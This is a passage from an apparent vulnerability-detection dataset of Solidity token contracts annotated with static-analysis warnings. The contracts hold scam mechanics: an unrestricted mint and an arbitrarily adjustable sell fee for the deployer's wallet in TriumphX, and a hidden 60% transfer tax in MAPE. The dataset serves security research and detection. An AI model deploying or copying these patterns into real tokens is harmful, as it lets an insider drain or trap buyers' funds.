"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: a1a1705): Ownable.constructor().msgSender lacks a zerocheck on \t _owner = msgSender\n\t// Recommendation for a1a1705: Check that the address is not zero.\n constructor() {\n address msgSender = _msgSender();\n\n\t\t// missing-zero-check | ID: a1a1705\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract TriumphX is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: b0133e9): TriumphX.bots is never initialized. It is used in TriumphX._transfer(address,address,uint256)\n\t// Recommendation for b0133e9: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 4e01d39): TriumphX._taxWallet should be immutable \n\t// Recommendation for 4e01d39: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2bab4d3): TriumphX._initialBuyTax should be constant \n\t// Recommendation for 2bab4d3: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9697a36): TriumphX._initialSellTax should be constant \n\t// Recommendation for 9697a36: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: c07484e): TriumphX._finalBuyTax should be constant \n\t// Recommendation for c07484e: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 65bf1c7): TriumphX._reduceBuyTaxAt should be constant \n\t// Recommendation for 65bf1c7: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2d2dd69): TriumphX._reduceSellTaxAt should be constant \n\t// Recommendation for 2d2dd69: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: fbde7f4): TriumphX._preventSwapBefore should be constant \n\t// Recommendation for fbde7f4: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100_000_000 * 10 ** _decimals;\n\n string private _name;\n\n string private _symbol;\n\n\t// WARNING Optimization Issue (constable-states | ID: 64985d7): TriumphX._maxTxAmount should be constant \n\t// Recommendation for 64985d7: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTxAmount = _tTotal.mul(200).div(10000);\n\n\t// WARNING Optimization Issue (constable-states | ID: fed7021): TriumphX._maxWalletSize should be constant \n\t// Recommendation for fed7021: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxWalletSize = _tTotal.mul(200).div(10000);\n\n\t// WARNING Optimization Issue (constable-states | ID: dd64a12): TriumphX._taxSwapThreshold should be constant \n\t// Recommendation for dd64a12: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = _tTotal.mul(100).div(10000);\n\n\t// WARNING Optimization Issue (constable-states | ID: e4c1955): TriumphX._maxTaxSwap should be constant \n\t// Recommendation for e4c1955: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = _tTotal.mul(100).div(10000);\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = true;\n\n bool private swapEnabled = true;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor(string memory name_, string memory symbol_) payable {\n _name = name_;\n\n _symbol = symbol_;\n\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 285187d): TriumphX.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 285187d: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 9c1438a): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 9c1438a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 9e17521): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 9e17521: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 9c1438a\n\t\t// reentrancy-benign | ID: 9e17521\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 9c1438a\n\t\t// reentrancy-benign | ID: 9e17521\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d7cd8c3): TriumphX._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for d7cd8c3: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 9e17521\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 9c1438a\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 8bf3263): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 8bf3263: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: f00a7b5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for f00a7b5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: f2c6b96): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for f2c6b96: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: b0133e9): TriumphX.bots is never initialized. It is used in TriumphX._transfer(address,address,uint256)\n\t// Recommendation for b0133e9: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 8bf3263\n\t\t\t\t// reentrancy-benign | ID: f00a7b5\n\t\t\t\t// reentrancy-no-eth | ID: f2c6b96\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n\t\t\t\t// reentrancy-benign | ID: f00a7b5\n lastSellBlock = block.number;\n\n\t\t\t\t// reentrancy-benign | ID: f00a7b5\n sellCount++;\n }\n }\n\n\t\t// reentrancy-no-eth | ID: f2c6b96\n _balances[from] = _balances[from].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n\t\t// reentrancy-no-eth | ID: f2c6b96\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-no-eth | ID: f2c6b96\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t// reentrancy-events | ID: 8bf3263\n emit Transfer(from, to, amount);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n require(tokenAmount > 0, \"Must pass non 0 amount\");\n\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 9c1438a\n\t\t// reentrancy-events | ID: 8bf3263\n\t\t// reentrancy-benign | ID: f00a7b5\n\t\t// reentrancy-benign | ID: 9e17521\n\t\t// reentrancy-no-eth | ID: f2c6b96\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function mint(address to, uint256 amount) external {\n require(_msgSender() == _taxWallet, \"Only tax wallet can mint\");\n\n require(to != address(0), \"Cannot mint to the zero address\");\n\n _balances[to] = _balances[to].add(amount);\n\n emit Transfer(address(0), to, amount);\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return a < b ? a : b;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: ea52e8f): TriumphX.adjustFee(uint256) should emit an event for _finalSellTax = newSellFee \n\t// Recommendation for ea52e8f: Emit an event for critical parameter changes.\n function adjustFee(uint256 newSellFee) external {\n require(\n msg.sender == _taxWallet,\n \"Only _taxWallet can adjust the sell fee\"\n );\n\n\t\t// events-maths | ID: ea52e8f\n _finalSellTax = newSellFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractBalance = balanceOf(address(this));\n\n swapTokensForEth(contractBalance);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 908574c): TriumphX.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 908574c: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// arbitrary-send-eth | ID: 908574c\n _taxWallet.transfer(amount);\n }\n\n function manualSend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n\n function getFee() public view returns (uint256) {\n return _finalSellTax;\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 49fc9c1): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 49fc9c1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 4dfc30d): TriumphX.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 4dfc30d: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: a2fd69a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for a2fd69a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 49fc9c1\n\t\t// reentrancy-eth | ID: a2fd69a\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 49fc9c1\n\t\t// unused-return | ID: 4dfc30d\n\t\t// reentrancy-eth | ID: a2fd69a\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 49fc9c1\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: a2fd69a\n tradingOpen = true;\n }\n}\n",
"file_name": "solidity_code_10787.sol",
"size_bytes": 20637,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract MAPE is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: cf8e0bf): MAPE._taxWallet should be immutable \n\t// Recommendation for cf8e0bf: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 049a493): MAPE._initialBuyTax should be constant \n\t// Recommendation for 049a493: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 59e4a81): MAPE._initialSellTax should be constant \n\t// Recommendation for 59e4a81: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 23;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 505c63c): MAPE._reduceBuyTaxAt should be constant \n\t// Recommendation for 505c63c: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: fbc468c): MAPE._reduceSellTaxAt should be constant \n\t// Recommendation for fbc468c: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9b86f54): MAPE._preventSwapBefore should be constant \n\t// Recommendation for 9b86f54: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 26;\n\n uint256 private _transferTax = 60;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"mape\";\n\n string private constant _symbol = unicode\"MAPE\";\n\n uint256 public _maxTxAmount = 4213800000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 4213800000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 66ff8b2): MAPE._taxSwapThreshold should be constant \n\t// Recommendation for 66ff8b2: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4206900000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 975df12): MAPE._maxTaxSwap should be constant \n\t// Recommendation for 975df12: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4206900000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 3f4cd4f): MAPE.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 3f4cd4f: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: f6b8266): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for f6b8266: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 47b0e87): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 47b0e87: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: f6b8266\n\t\t// reentrancy-benign | ID: 47b0e87\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: f6b8266\n\t\t// reentrancy-benign | ID: 47b0e87\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d769d2d): MAPE._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for d769d2d: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 47b0e87\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: f6b8266\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: a9db712): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for a9db712: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 1931f77): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 1931f77: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: a9db712\n\t\t\t\t// reentrancy-eth | ID: 1931f77\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: a9db712\n\t\t\t\t\t// reentrancy-eth | ID: 1931f77\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 1931f77\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 1931f77\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 1931f77\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: a9db712\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 1931f77\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 1931f77\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: a9db712\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: f6b8266\n\t\t// reentrancy-events | ID: a9db712\n\t\t// reentrancy-benign | 